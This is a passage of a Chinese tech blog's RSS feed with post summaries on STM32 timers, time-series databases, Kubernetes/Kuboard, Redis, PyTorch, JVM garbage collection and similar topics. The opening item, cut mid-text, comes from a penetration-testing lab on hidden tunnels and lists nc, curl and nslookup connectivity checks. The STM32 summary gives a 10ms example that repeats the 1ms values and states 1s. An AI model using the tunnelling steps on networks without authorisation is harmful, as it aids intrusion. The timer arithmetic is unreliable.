尝试是否可以内网互通&#xA;（1）查看是否可以ping通外网&#xA;（2）查看是否可以ping通web服务器&#xA;此时环境搭建成功&#xA;三、隐藏隧道技术的基础知识 1.什么是隧道技术： 隧道技术是一种通过使用互联网络的基础设施在网络之间传递数据的方式。使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。隧道协议将这些其他协议的数据帧或包重新封装在新的包头中发送。新的包头提供了路由信息，从而使封装的负载数据能够通过互联网络传递。&#xA;2.检测内网连通性 icmp :pingtcp: nc ip porthttp: curl ip :portdns :nslookup www.</description>
    </item>
    <item>
      <title>STM32定时器的定时时间设置</title>
      <link>https://bchobby.github.io/posts/5298316454cb46b059b5fe5355220def/</link>
      <pubDate>Thu, 07 Apr 2022 18:50:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5298316454cb46b059b5fe5355220def/</guid>
      <description> 定时1ms&#xA;定时器定时频率=时钟源频率/ [(PSC+1)(ARR+1)]=16M/[(15+1)(999+1)]=1000Hz，所以定时的时间为1ms.&#xA;简单理解 16M的意思是1S可以计数 16000000 次&#xA;先进行16预分频 1S可以计数1000000 次&#xA;此时, 1ms可以计数1000 次&#xA;所以1ms的自动重装值是 1000&#xA;也就是从0 计数到1000 后 1ms 也就到了&#xA;定时1S&#xA;定时器定时频率=时钟源频率/ [(PSC+1)(ARR+1)]=16M/[(1599+1)(9999+1)]=1，所以定时的时间为1s.&#xA;预分频1600&#xA;定时10ms&#xA;定时器定时频率=时钟源频率/ [(PSC+1)(ARR+1)]=16M/[(15+1)(999+1)]=1000Hz，所以定时的时间为1s.&#xA;定时器有如下三种计数模式：(上面采用的是递增计数模式)&#xA;递增计数模式：计数器从 0 计数到自动重载值，然后重新从 0 开始计数并生成计数器上溢事件。&#xA;递减计数模式：计数器从自动重载值开始递减到 0，然后重新从自动重载值开始计数并生成计数器下溢事件。&#xA;中心对齐模式：计数器从 0 开始计数到自动重载值 – 1 ，生成计数器上溢事件；然后从自动重载值开始向下计数到 1 并生成计数器下溢事件。之后从0 开始重新计数。&#xA;最后别忘记 在初始化之后启动定时中断&#xA;HAL_TIM_Base_Start_IT(&amp;amp;htim17); </description>
    </item>
    <item>
      <title>####好好好#####时序数据库介绍和使用</title>
      <link>https://bchobby.github.io/posts/3661f6acc9844a61da1f3ccc405da128/</link>
      <pubDate>Thu, 07 Apr 2022 18:39:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3661f6acc9844a61da1f3ccc405da128/</guid>
      <description>1.基础&#xA;1.1 时序数据的定义&#xA;什么是时间序列数据（Time Series Data，TSD，以下简称时序）从定义上来说，就是一串按时间维度索引的数据。用描述性的语言来解释什么是时序数据，简单的说，就是这类数据描述了某个被测量的主体在一个时间范围内的每个时间点上的测量值。它普遍存在于IT基础设施、运维监控系统和物联网中。&#xA;对时序数据进行建模的话，会包含三个重要部分，分别是：主体，时间点和测量值。套用这套模型，你会发现你在日常工作生活中，无时无刻不在接触着这类数据。&#xA;如果你是一个股民，某只股票的股价就是一类时序数据，其记录着每个时间点该股票的股价。&#xA;如果你是一个运维人员，监控数据是一类时序数据，例如对于机器的CPU的监控数据，就是记录着每个时间点机器上CPU的实际消耗值。&#xA;时序数据从时间维度上将孤立的观测值连成一条线，从而揭示软硬件系统的状态变化。孤立的观测值不能叫时序数据，但如果把大量的观测值用时间线串起来，我们就可以研究和分析观测值的趋势及规律。&#xA;1.2 时序数据的特点&#xA;1.2.1 时序数据的数学模型&#xA;上面介绍了时序数据的基本概念，也说明了分析时序数据的意义。那么时序数据该怎样存储呢？数据的存储要考虑其数学模型和特点，时序数据当然也不例外。所以这里先介绍时序数据的数学模型和特点。&#xA;下图为一段时序数据，记录了一段时间内的某个集群里各机器上各端口的出入流量，每半小时记录一个观测值。这里以图中的数据为例，介绍下时序数据的数学模型（不同的时序数据库中，基本概念的称谓有可能不同，这里以腾讯CTSDB为准）：&#xA;measurement： 度量的数据集，类似于关系型数据库中的 table；&#xA;point： 一个数据点，类似于关系型数据库中的 row；&#xA;timestamp： 时间戳，表征采集到数据的时间点；&#xA;tag： 维度列，代表数据的归属、属性，表明是哪个设备/模块产生的，一般不随着时间变化，供查询使用；&#xA;field： 指标列，代表数据的测量值，随时间平滑波动，不需要查询。&#xA;如上图所示，这组数据的measurement为Network，每个point由以下部分组成：&#xA;timestamp：时间戳&#xA;两个tag：host、port，代表每个point归属于哪台机器的哪个端口&#xA;两个field：bytes_in、bytes_out，代表piont的测量值，半小时内出入流量的平均值&#xA;同一个host、同一个port，每半小时产生一个point，随着时间的增长，field（bytes_in、bytes_out）不断变化。如host：host4，port：51514，timestamp从02:00 到02:30的时间段内，bytes_in 从 37.937上涨到38.089，bytes_out从2897.26上涨到3009.86，说明这一段时间内该端口服务压力升高。&#xA;1.2.2 时序数据特点&#xA;数据模式： 时序数据随时间增长，相同维度重复取值，指标平滑变化：这点从上面的Network表的数据变化可以看出。&#xA;写入： 持续高并发写入，无更新操作：时序数据库面对的往往是百万甚至千万数量级终端设备的实时数据写入（如摩拜单车2017年全国车辆数为千万级），但数据大多表征设备状态，写入后不会更新。&#xA;查询： 按不同维度对指标进行统计分析，且存在明显的冷热数据，一般只会频繁查询近期数据。&#xA;1.3 时序数据的存储&#xA;1.3.1 传统关系型数据库存储时序数据的问题&#xA;有了时序数据后，该存储在哪里呢？首先我们看下传统的关系型数据库解决方案在存储时序数据时会遇到什么问题。&#xA;很多人可能认为在传统关系型数据库上加上时间戳一列就能作为时序数据库。数据量少的时候确实也没问题。但时序数据往往是由百万级甚至千万级终端设备产生的，写入并发量比较高，属于海量数据场景。&#xA;MySQL在海量的时序数据场景下存在如下问题：&#xA;存储成本大：对于时序数据压缩不佳，需占用大量机器资源；&#xA;维护成本高：单机系统，需要在上层人工的分库分表，维护成本高；&#xA;写入吞吐低：单机写入吞吐低，很难满足时序数据千万级的写入压力；&#xA;查询性能差：适用于交易处理，海量数据的聚合分析性能差。&#xA;另外，使用Hadoop生态（Hadoop、Spark等）存储时序数据会有以下问题：&#xA;数据延迟高：离线批处理系统，数据从产生到可分析，耗时数小时、甚至天级；&#xA;查询性能差：不能很好的利用索引，依赖MapReduce任务，查询耗时一般在分钟级。&#xA;可以看到时序数据库需要解决以下几个问题：&#xA;时序数据的写入：如何支持每秒钟上千万上亿数据点的写入。&#xA;时序数据的读取：如何支持在秒级对上亿数据的分组聚合运算。&#xA;成本敏感：由海量数据存储带来的是成本问题。如何更低成本的存储这些数据，将成为时序数据库需要解决的重中之重。&#xA;1.3.2 时序数据库&#xA;***时序数据库产品的发明都是为了解决传统关系型数据库在时序数据存储和分析上的不足和缺陷，这类产品被统一归类为时序数据库。***针对时序数据的特点对写入、存储、查询等流程进行了优化，这些优化与时序数据的特点息息相关：&#xA;存储成本：&#xA;利用时间递增、维度重复、指标平滑变化的特性，合理选择编码压缩算法，提高数据压缩比；&#xA;通过预降精度，对历史数据做聚合，节省存储空间。&#xA;高并发写入：</description>
    </item>
    <item>
      <title>free(): invalid next size (fast):错误及解决方案</title>
      <link>https://bchobby.github.io/posts/256134e2ceb082291b9dcd95aa868916/</link>
      <pubDate>Thu, 07 Apr 2022 13:12:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/256134e2ceb082291b9dcd95aa868916/</guid>
      <description>./a.out: free(): invalid next size (fast): 0x000000000c29d010 ***&#xA;今天在翻写算法的时候，出现了以上的错误&#xA;这种错误的原因：&#xA;一般是对内存进行非法的写操作，然后free的时候就会报上面的错误&#xA;贴源码：&#xA;我这边malloc的时候是申请的50个字节的内存大小（原本的意思是要申请50*8个字节的大小的）。原本的意思是要申请50*8的内存大小，存放50个double类型的变量的。&#xA;结果可能是之前开发的时候，一直是申请的char 类型的malloc，所以这边误以为malloc参数是50的话，就是50个变量的大小，结果造成了越界的操作。</description>
    </item>
    <item>
      <title>win10系统磁盘清理，临时文件删不掉 的解决方案</title>
      <link>https://bchobby.github.io/posts/2d487487e42a486a574c62ccb1e3a40e/</link>
      <pubDate>Thu, 07 Apr 2022 12:34:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d487487e42a486a574c62ccb1e3a40e/</guid>
      <description>1、我们有时在C盘磁盘清理时，会遇到这种情况：临时文件怎么也清除不掉&#xA;2、解决方案一&#xA;2.1.按下 window键，打开 设置&#xA;2.2.依次点击 系统-存储-临时文件&#xA;2.3.删除文件 即可&#xA;2.4、注意！！！大家可以打开系统自动清理，这样系统就会自动删除多余文件，释放存储空间。&#xA;操作方法：点击 存储-存储感知&#xA;3、解决方案二：手动强制删除临时文件&#xA;键盘输入win+R&#xA;再输入 %tmp% 回车后 打开临时文件所在目录&#xA;手动选中 临时文件删除即可</description>
    </item>
    <item>
      <title>接口知识点</title>
      <link>https://bchobby.github.io/posts/40aa42dfe3a324de2a5d6c777e8cbffb/</link>
      <pubDate>Thu, 07 Apr 2022 10:37:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/40aa42dfe3a324de2a5d6c777e8cbffb/</guid>
      <description>文章目录 1.1 接口的概述1.2 接口的定义格式1.2.1含有抽象方法 1.3接口使用步骤1.3.1含有默认方法和静态方法1.3.2静态方法的使用 1.1 接口的概述 接口，是Java语言中一种引用类型，是方法的集合，如果说类的内部封装了成员变量、构造方法和成员方法，那么 接口的内部主要就是封装了方法，包含抽象方法（JDK 7及以前），默认方法和静态方法（JDK 8），私有方（JDK 9）。&#xA;接口的定义，它与定义类方式相似，但是使用 interface 关键字。它也会被编译成.class文件，但一定要明确它不是类，而是另外一种引用数据类型。&#xA;1.2 接口的定义格式 public class Demo1 { /* 接口就是多个类的公共规范 接口是一种引用数据类型，最重要的内容就是其中的抽象方法 如何定义一个接口？ public interface 接口名称{ 接口内容 } 备注：换成了关键字interface之后，编译生成的字节码文件仍然是：.java--&amp;gt;.class 如果是java7：那么接口中可以包含的内容有： 1.常量 2.抽象方法 如果是java8：可以额外包涵有: 3.默认方法 4.静态方法 如果是java9，还可以额外包涵有： 5.私有方法 */ } public interface 接口名称 { // 抽象方法 // 默认方法 // 静态方法 // 私有方法 } 1.2.1含有抽象方法 抽象方法：使用 abstract 关键字修饰，可以省略，没有方法体。该方法供子类实现使用。&#xA;代码如下：&#xA;/* 在任何版本的java中，接口都能定义抽象方法 格式： public abstract 返回值类型 方法名称（参数列表）； 注意事项： 1. 接口当中的抽象方法，修饰符必须是两个固定的关键字， public abstract 2.</description>
    </item>
    <item>
      <title>JavaScript基础</title>
      <link>https://bchobby.github.io/posts/e8a5bbdbe063de6d3cb34eb5ce93aa0a/</link>
      <pubDate>Wed, 06 Apr 2022 19:00:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8a5bbdbe063de6d3cb34eb5ce93aa0a/</guid>
      <description>学习目标： 目录&#xA;JavaScript概述&#xA;JavaScript的注意&#xA;JavaScript中的变量&#xA;JavaScript的运算符&#xA;JavaScript概述&#xA;JavaScript 简称 JS 是用于制作网页的动态效果的，如：页面的弹出广告、浮动广告、 下拉菜单、表单验证等功能都由 JavaScript 完成;JS 是嵌入在网页中的一个脚本语言; 不像 Java 一样庞大，但它的灵活度高；&#xA;JavaScript的注意&#xA;1.&amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;代码应该书写到&#xA;中或者页面的结束位置。&#xA;2.JavaScript区分大小写。&#xA;3.JavaScript是一个弱语言脚本。比较灵活。&#xA;JavaScript中的变量&#xA;变量：值可以发生改变的量。&#xA;常量：值不能发生改变的量。&#xA;如何定义变量&#xA;let 变量名 [= 值]; //[]代表可以省略 /* 变量的命名规则： 1.字母、数字、下划线_、$和中文。 2.数字不能在首位。 3.不能使用关键字和保留字。 变量的命名规范： 1.首字母小写。 2.不能使用中文。 3.如果多个单词组成的名称，其后单词首字母大写，驼峰。userage--&amp;gt;userAge 4.不要使用混搭式写法,yonghuAge错误 正确应该： yongHuNianLing|userAge 5.尽量使用有含义的名词单词 */ JavaScript的运算符 算术运算符 let c1 = a + b; let c2 = a - b; let c3 = a * b; let c4 = a / b; let c5 = a % b; 赋值运算符 let a = 6; // 将6的值赋予了a 关系运算符 let c1 = (a === b); //比较a和b的值是否相等 返回一个true|false的结果 let c2 = (a !</description>
    </item>
    <item>
      <title>kubernetes建立容器以及可视化界面集群管理</title>
      <link>https://bchobby.github.io/posts/47b1c52784efec39d58d6b08e845bd74/</link>
      <pubDate>Wed, 06 Apr 2022 18:51:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/47b1c52784efec39d58d6b08e845bd74/</guid>
      <description>前言 本文主要讲述在kubernetes上基于ipv4、ipv6双栈集群建立容器以及可视化界面的集群管理。本来我打算不用双栈节点部署pod，但是建立之后，发现我所使用的cni似乎不支持（我使用的是calico）纯ipv6的建立，使用如下命令查看时会发现一直处于ContainerCreating状态，可能由于该网络插件不支持的关系，之后的实验我将尝试使用各种不同的网络插件，查看它们的效果以及是否支持。&#xA;kubectl get pod -n kube-system 所以我决定本次实验使用ipv4、ipv6双栈集群进行部署。&#xA;部署容器 前面的基本部署的操作与之前的实验都是一样，如果不知道可以点击下方链接查看我的另一篇文章。&#xA;kubernetes建立ipv4、ipv6双栈集群_weixin_53682254的博客-CSDN博客https://blog.csdn.net/weixin_53682254/article/details/123946528下面正式开始部署容器。&#xA;首先在master节点的主机上输入以下命令，建立nginx容器，注意，在部署容器之前一定要先部署好cni网络，不然容器会一直处于ContainerCreating状态。&#xA;kubectl create deployment nginx --image=nginx 打开服务端口，命令如下：&#xA;kubectl expose deployment nginx --port 80 --type=NodePort 查看容器是否运行：&#xA;kubectl get pod,svc 可以使用以下命令查看部署在哪个节点上：&#xA;kubectl get pods -o wide 然后使用node节点的ip加上对外访问的端口访问该服务，如下图所示：&#xA;部署可视化集群管理 执行以下命令来运行Kuboard v3&#xA;kubectl apply -f https://addons.kuboard.cn/kuboard/kuboard-v3.yaml 使用以下命令查看Kuboard v3是否running，以及端口号 kubectl get pods,svc -n kuboard 然后使用master节点的ip地址加上端口号30080访问Kuboard，会出现如下图所示的登录界面，默认的账号是admin，密码为Kuboard123&#xA;登录之后的界面如下图所示，可以实现可视化集群管理&#xA;总结 本文对于在双栈环境下部署容器以及可视化管理进行了基础的学习，接下来我将尝试各种不同的cni，查看不同网络插件对于ipv6的支持程度以及效果。</description>
    </item>
    <item>
      <title>java JVM - CMS垃圾回收机制</title>
      <link>https://bchobby.github.io/posts/bce504f42743a3e165fd41df0fd7eba8/</link>
      <pubDate>Wed, 06 Apr 2022 17:54:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bce504f42743a3e165fd41df0fd7eba8/</guid>
      <description>面试官：今天还是来聊聊CMS垃圾收集器呗？&#xA;候选者：嗯啊…&#xA;候选者：如果用Seria和Parallel系列的垃圾收集器：在垃圾回收的时，用户线程都会完全停止，直至垃圾回收结束！&#xA;候选者：CMS的全称：Concurrent Mark Sweep，翻译过来是「并发标记清除」&#xA;候选者：用CMS对比上面的垃圾收集器(Seria和Parallel和parNew)：它最大的不同点就是「并发」：在GC线程工作的时候，用户线程「不会完全停止」，用户线程在「部分场景下」与GC线程一起并发执行。&#xA;候选者：但是，要理解的是，无论是什么垃圾收集器，Stop The World是一定无法避免的！&#xA;候选者：CMS只是在「部分」的GC场景下可以让GC线程与用户线程并发执行&#xA;候选者：CMS的设计目标是为了避免「老年代 GC」出现「长时间」的卡顿（Stop The World）&#xA;面试官：那你清楚CMS的工作流程吗？&#xA;候选者：只了解一点点，不能多了。&#xA;候选者：CMS可以简单分为5个步骤：初始标记、并发标记、并发预清理、重新标记以及并发清除&#xA;候选者：从步骤就不难看出，CMS主要是实现了「标记清除」垃圾回收算法&#xA;面试官：嗯…是的&#xA;候选者：我就从「初始标记」来开始吧&#xA;候选者：「初始标记」会标记GCRoots「直接关联」的对象以及「年轻代」指向「老年代」的对象&#xA;候选者：「初始标记」这个过程是会发生Stop The World的。但这个阶段的速度算是很快的，因为没有「向下追溯」（只标记一层）&#xA;候选者：在「初始标记」完了之后，就进入了「并发标记」阶段啦&#xA;候选者：「并发标记」这个过程是不会停止用户线程的（不会发生 Stop The World）。这一阶段主要是从GC Roots向下「追溯」，标记所有可达的对象。&#xA;候选者：「并发标记」在GC的角度而言，是比较耗费时间的（需要追溯）&#xA;候选者：「并发标记」这个阶段完成之后，就到了「并发预处理」阶段啦&#xA;候选者：「并发预处理」这个阶段主要想干的事情：希望能减少下一个阶段「重新标记」所消耗的时间&#xA;候选者：因为下一个阶段「重新标记」是需要Stop The World的&#xA;面试官：嗯…&#xA;候选者：「并发标记」这个阶段由于用户线程是没有被挂起的，所以对象是有可能发生变化的&#xA;候选者： 可能有些对象，从新生代晋升到了老年代。可能有些对象，直接分配到了老年代（大对象）。可能老年代或者新生代的对象引用发生了变化…&#xA;面试官：那这个问题，怎么解决呢？&#xA;候选者：针对老年代的对象，其实还是可以借助类card table的存储（将老年代对象发生变化所对应的卡页标记为dirty）&#xA;候选者：所以「并发预处理」这个阶段会扫描可能由于「并发标记」时导致老年代发生变化的对象，会再扫描一遍标记为dirty的卡页&#xA;面试官：嗯…&#xA;候选者：对于新生代的对象，我们还是得遍历新生代来看看在「并发标记」过程中有没有对象引用了老年代…&#xA;候选者：不过JVM里给我们提供了很多「参数」，有可能在这个过程中会触发一次 minor GC（触发了minor GC 是意味着就可以更少地遍历新生代的对象）&#xA;候选者：「并发预处理」这个阶段阶段结束后，就到了「重新标记」阶段&#xA;候选者：「重新标记」阶段会Stop The World，这个过程的停顿时间其实很大程度上取决于上面「并发预处理」阶段（可以发现，这是一个追赶的过程：一边在标记存活对象，一边用户线程在执行产生垃圾）&#xA;候选者：最后就是「并发清除」阶段，不会Stop The World&#xA;候选者：一边用户线程在执行，一边GC线程在回收不可达的对象&#xA;候选者：这个过程，还是有可能用户线程在不断产生垃圾，但只能留到下一次GC 进行处理了，产生的这些垃圾被叫做“浮动垃圾”&#xA;候选者：完了以后会重置 CMS 算法相关的内部数据，为下一次 GC 循环做准备&#xA;面试官：嗯，CMS的回收过程，我了解了&#xA;面试官：听下来，其实就是把垃圾回收的过程给”细分”了，然后在某些阶段可以不停止用户线程，一边回收垃圾，一边处理请求，来减少每次垃圾回收时 Stop The World的时间</description>
    </item>
    <item>
      <title>redis服务器 本地连接</title>
      <link>https://bchobby.github.io/posts/f535f27a4fbf29646b6e1ca076045360/</link>
      <pubDate>Wed, 06 Apr 2022 16:57:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f535f27a4fbf29646b6e1ca076045360/</guid>
      <description>我所用的是阿里服务器 安全组 6379端口一定要开启来&#xA;redis 配置文件修改&#xA;这个是宝塔页面的配置 直接配置文件修改走起&#xA;如果想用命令行 可以网上找一下(也挺简单的)&#xA;修改完配置文件后&#xA;记得要重启一下redis&#xA;防火墙的开启端口&#xA;# 开启端口 xxxx对应的你想要开启的端口号 记得要在阿里云安全组开启 开端口命令：firewall-cmd --zone=public --add-port=6379/tcp --permanent 重启防火墙：systemctl restart firewalld.service 然后就可以在自己的可视化软件上面用了&#xA;(如果没有好的软件 推荐一下可视化软件 Another Redis Desktop Manager )</description>
    </item>
    <item>
      <title>总结下研一小白入门pytorch时遇到的基础问题（只求自己能看懂篇）</title>
      <link>https://bchobby.github.io/posts/4e7fbe1f304c8deda9c84df1ba11433d/</link>
      <pubDate>Wed, 06 Apr 2022 16:34:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e7fbe1f304c8deda9c84df1ba11433d/</guid>
      <description>1.numpy到底是什么？&#xA;numpy是python中的一个库，主要用于矩阵和数组的运算。&#xA;2.pytorch深度学习框架 那么深度学习框架是什么意思？&#xA;在其他文章里看到一个很好的解释，对我这种理解力低下的小白很友好。深度学习框架好比是一套积木，每一块小积木就是其中的一个库or包，你想怎么搭建这个积木都可以，总之这套积木里有你需要的所有小积木。&#xA;3.张量（tensor）是什么？&#xA;这是个困扰我很久并且继续困扰下去的问题。张量就是，在不同参考系下按照某种特定法则进行变换的量。这句话我到现在还是一知半解，关于什么是张量，我已经看到了许多个版本的解释，因为我参不透本质，所以每个版本说的都不一样。但是在知乎上看到一篇帖子解释张量还是比较容易懂的，帖子中大体意思是说：用物理学观点来解释张量，比如Bob认为粒子的能动量是（Ea，Pa），而Andy则认为是（Eb，Pb），Bob和Andy都没有说错，因为（Ea，Pa）和（Eb，Pb）是可以通过一定条件相互转换的，二者只是参考系的不同，Andy和Bob各自的参考系并没有哪一个更优越一说，于是我们干脆都舍弃，这个粒子的能动量就由张量T来表示，所以物理学定义就出来了，张量是一个不随坐标而改变的，物理系统内在的量。而在数学家眼里，张量就类似于线性变换，不依赖与线性空间中基的选取。不管是物理还是数学，张量都是可根据参考系而发生相应变换的量。&#xA;4.有关GPU&#xA;（1）NVIDIA是什么&#xA;NVIDIA，中文名叫英伟达（在很多笔记本电脑的标签上经常可以看到），英伟达是一家人工智能公司，说白了就是一家能生产显卡的厂商，英伟达发明了GPU，彻底改变了并行计算，由此可见，GPU是可以加快程序效率并可以实现并行计算处理的。&#xA;（2）CUDA是什么&#xA;cuda是显卡厂商NVIDIA推出的运算平台。是一种通用并行计算得架构，可以使GPU能够解决复杂的计算问题。目前cuda只支持linux和win系统，进行cuda开发需要一次安装驱动、toolkit、SDK三个软件，安装cuda是为了使用GPU加速。&#xA;（3）GPU&#xA;显卡的处理器称为图形处理器（Graphics Processing Unit，GPU）。gpu是专为执行复杂的数学和几何计算而设计的。&#xA;5.各种代码细节问题&#xA;①/和// :/表示除法；//表示向下取整的除法&#xA;②带lib后缀的代码是指library库&#xA;③代码中dim的含义，dim即dimension，是指维度，有关dim，我找到一个博主写的非常容易理解且详细，附上链接Python-维度dim的定义及其理解使用_静静喜欢大白的博客-CSDN博客_python中dim&#xA;为了保存文字 我再复制一遍：&#xA;目录&#xA;一、dim的定义&#xA;二、dim 的理解&#xA;三、举例&#xA;torch.argmax()&#xA;sum()&#xA;cumsum()&#xA;一、dim的定义 TensorFlow对张量的阶、维度、形状有着明确的定义，而在pytorh中对其的定义却模糊不清，仅仅有一个torch.size()的函数来查看张量的大小（我理解的这个大小指的就是TensorFlow对张量的形状描述，也和numpy的.shape类似）。所以，首先要搞清楚如何看一个张量的形状。&#xA;import torch z = torch.ones(2,3,4) print(z) print(z.size()) print(z.size(0)) print(z.size(1)) print(z.size(2)) 以上代码的控制台输出为：&#xA;tensor([[[1., 1., 1., 1.], [1., 1., 1., 1.], [1., 1., 1., 1.]], [[1., 1., 1., 1.], [1., 1., 1., 1.], [1., 1., 1., 1.]]]) torch.Size([2, 3, 4]) 2 3 4 可见，我们成功创建了一个（2，3，4）大小的张量，那么我们人工应该怎么辨别一个张量的大小呢？为了直观，我把这个张量的中括号调整一个位置：</description>
    </item>
    <item>
      <title>JAVA对excle创建、读取、设置单元格颜色、背景色、跨行跨列</title>
      <link>https://bchobby.github.io/posts/862cc617736649a6d5c6f04639b8835a/</link>
      <pubDate>Wed, 06 Apr 2022 15:51:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/862cc617736649a6d5c6f04639b8835a/</guid>
      <description>pom.xml依赖 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi-ooxml&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- file文件转化为mutifile --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.httpcomponents&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;httpcore&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.4.9&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 读取 package com.example.test; import org.apache.http.entity.ContentType; import org.apache.poi.hssf.usermodel.HSSFWorkbook; import org.apache.poi.ss.usermodel.*; import org.apache.poi.xssf.usermodel.XSSFWorkbook; import org.springframework.mock.web.MockMultipartFile; import org.springframework.web.multipart.MultipartFile; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.io.InputStream; public class ExcelReadTest { /** *根据文件路径得到MultipartFile * @param url * @return * @throws IOException */ public MultipartFile fileToMultipartFile(String url) throws IOException { File file = new File(url); FileInputStream fileInputStream = new FileInputStream(file); MultipartFile multipartFile = new MockMultipartFile(file.</description>
    </item>
    <item>
      <title>Shell 采集终端信息</title>
      <link>https://bchobby.github.io/posts/d388d551a1ff2b6f8c98212b6aac1f0d/</link>
      <pubDate>Wed, 06 Apr 2022 15:21:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d388d551a1ff2b6f8c98212b6aac1f0d/</guid>
      <description>写shell脚本时，免不了处理当前终端的相关信息，比如说行数，列数，光标位置，设置前景/背景颜色，设置字体，等等。本文描述如何采集并处理终端设置。&#xA;要完成终端信息采集与设置，通常需要用到两款终端处理工具：tput和stty。&#xA;1. tput的功能 获取终端的行数和列数： tput cols tput lines 打印当前终端的名字：&#xA;tpupt longname 设置终端背景色&#xA;tput setb n 其中n的取值变化如下（注意，生效与设置差一行）：&#xA;设置终端的前景色 tput setf n 其中n的取值变化如下（注意，生效与设置差一行）：&#xA;2. stty 用途说明 stty命令用于显示和修改终端行设置（change and print terminal line settings）。&#xA;常用参数 stty命令不带参数可以打印终端行设置，加上-a参数可以打印得更详细些。&#xA;stty size可以显示终端的大小，即行数和列数。&#xA;stty命令还可以更改终端行的设置，格式如下：&#xA;stty SETTING CHAR&#xA;其中，SETTING可以是如下&#xA;eof : 输入结束，文件结束，默认为Ctrl+D。比如：用cat &amp;gt;file来创建文件时，按Ctrl+D来结束输入。&#xA;erase : 向后删除字符，擦除最后一个输入字符，默认为Ctrl+?。注意默认情况下退格键Backspace不是删除字符。&#xA;intr : 中断当前程序，默认为Ctrl+C。&#xA;kill : 删除整条命令，删除整行，默认为Ctrl+U。&#xA;quit :退出当前程序，默认为Ctrl+\或Ctrl+|。&#xA;start : 启动屏幕输出，默认为Ctrl+Q。&#xA;stop :停止屏幕输出，默认为Ctrl+S。&#xA;susp : terminal stop当前程序，默认为Ctrl+Z。这样当前进程就会变成后台进程了。&#xA;werase：删除最后一个单词，默认为Ctrl+W。&#xA;stty命令还有一些其他用法，如：&#xA;stty -echo 关闭回显。比如在脚本中用于输入密码时。</description>
    </item>
    <item>
      <title>Could not load dynamic library ‘libcudart.so.11.0‘； dlerror: libcudart.so.11.0</title>
      <link>https://bchobby.github.io/posts/a8496b2041a8319e31d8f8a2521b16c9/</link>
      <pubDate>Wed, 06 Apr 2022 13:25:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8496b2041a8319e31d8f8a2521b16c9/</guid>
      <description>CUDA Toolkit 11.0 Download | NVIDIA Developer&#xA;wget http://developer.download.nvidia.com/compute/cuda/11.0.2/local_installers/cuda_11.0.2_450.51.05_linux.run sudo sh cuda_11.0.2_450.51.05_linux.run 接下来： First, find out where the &#34;libcudart.so.11.0&#34; is： locate libcudart.so.11.0 Second, add the path to environment file: sudo vim /etc/profile export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/cuda-11.0/targets/x86_64-linux/lib source /etc/profile 运行成功后可以看到：&#xA;2022-03-12 07:38:34.386165: I tensorflow/stream_executor/platform/default/dso_loader.cc:49] Successfully opened dynamic library libcudart.so.11.0&#xA;参考：&#xA;https://github.com/tensorflow/tensorflow/issues/45930https://github.com/tensorflow/tensorflow/issues/45930</description>
    </item>
    <item>
      <title>【LTspice】004 Voltage Source 参数配置</title>
      <link>https://bchobby.github.io/posts/623ca36813bafb69d6a7f90485fd402e/</link>
      <pubDate>Wed, 06 Apr 2022 11:04:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/623ca36813bafb69d6a7f90485fd402e/</guid>
      <description>目录&#xA;1. DC Value&#xA;2. PULSE&#xA;3. SINE&#xA;4. EXP&#xA;5. SFFM&#xA;6. PWL&#xA;7. bv - 函数式电压源&#xA;1. DC Value LTspice的Voltage source是我们必须了解的一个器件，任何一个仿真都会用到。下面详细介绍这个器件的设置。首先，设置一个直流电压，如下，直接输入DC value即可，serial Resistance代表内阻，我们一般不指定。&#xA;当点击【Advanced】，我们可以设置更多高级功能。如下，每一个功能后面括号里是实现这个功能需要编辑的参数。&#xA;2. PULSE Vinitial：初始电压；&#xA;Von：高电平电压；&#xA;Tdelay：延时时间，指仿真开始的0时刻到出现第一个波形的延时；&#xA;Trise：波形的上升时间，一般设置10n(纳秒)即可；&#xA;Tfall：波形的下降时间，一般设置10n(纳秒)即可；&#xA;Ton：导通时间；&#xA;Tperiod：周期；&#xA;Ncycles：循环次数，可简单理解为波形的个数。&#xA;3. SINE DC offset：直流偏置；&#xA;Amplitude：幅值；&#xA;Freq：频率；&#xA;Theta：阻尼正弦波的阻尼因子。阻尼正弦波（见下图）是振幅会随时间增长而趋向零的正弦波；&#xA;Phi：相位。&#xA;4. EXP exponential的缩写，指数电压源。不做详细介绍，基本用不到。&#xA;5. SFFM single frequency FM的缩写，单频FM电压源。不做详细介绍，基本用不到&#xA;6. PWL Piece-wise linear的缩写，分段线性电压源。(time , value) 去画图。&#xA;采用repeat forever(xxx,xxx, ...)endrepeat format 去画三角波、锯齿波&#xA;设定执行次数 repeat for N&#xA;采用外部倒入 txt文档的方式, file = 文件路径</description>
    </item>
    <item>
      <title>Android NDK使用CMake编译OBJECT库引发的错误(produces multiple outputs)</title>
